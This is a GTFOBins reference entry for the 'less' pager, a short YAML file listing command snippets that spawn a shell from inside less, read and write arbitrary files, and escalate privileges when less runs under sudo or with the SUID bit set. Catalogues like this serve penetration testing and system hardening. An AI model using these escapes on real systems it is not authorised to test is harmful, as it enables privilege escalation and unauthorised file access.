GTFOBins.github.io/_gtfobins/less.md
2018-08-24 13:30:23 +02:00

24 lines
434 B
Markdown

---
functions:
execute-interactive:
- code: |
less /etc/profile
!/bin/sh
- code: |
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
file-read:
- code: less file_to_read
file-write:
- code: |
echo DATA | less
sfile_to_write
q
sudo-enabled:
- code: |
sudo less /etc/profile
!/bin/sh
suid-enabled:
- code: ./less file_to_read
---